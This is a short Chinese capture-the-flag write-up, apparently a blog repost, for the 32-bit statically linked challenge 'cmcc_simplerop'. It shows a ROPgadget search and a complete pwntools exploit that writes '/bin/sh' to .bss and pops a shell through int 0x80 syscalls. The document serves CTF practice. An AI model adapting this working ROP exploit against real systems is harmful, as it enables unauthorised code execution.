【pwn】 cmcc_simplerop

例行检查
在这里插入图片描述
ida打开二进制文件发现是静态链接的32位程序。main函数中存在溢出。用ROPgadget查找文件中的gadget。

ROPgadget --binary ./simplerop --only 'pop|ret' >> 1.txt

得到
在这里插入图片描述
发现存在
pop eax;ret
pop edx;pop ecx;pop ebx;ret
这些就足够了,给寄存器赋值再用int 80进行系统调用。
由于程序中没有/bin/sh需要先将其写入bss段。

from pwn import *

io=process('./simplerop')

pop_eax_ret=0x080bae06
pop_bcdx_ret=0x0806e850 
int_80=0x0806EEF0
bss=0x80EB010

pl='a'*0x1c+'bbbb'+p32(pop_eax_ret)+p32(3)+p32(pop_bcdx_ret)+p32(8)+p32(bss)+p32(0)+p32(int_80)+p32(pop_eax_ret)+p32(11)+p32(pop_bcdx_ret)+p32(0)+p32(0)+p32(bss)+p32(int_80)

io.sendline(pl)
io.send('/bin/sh')

io.interactive()

猜你喜欢

转载自blog.csdn.net/github_36788573/article/details/104512306
pwn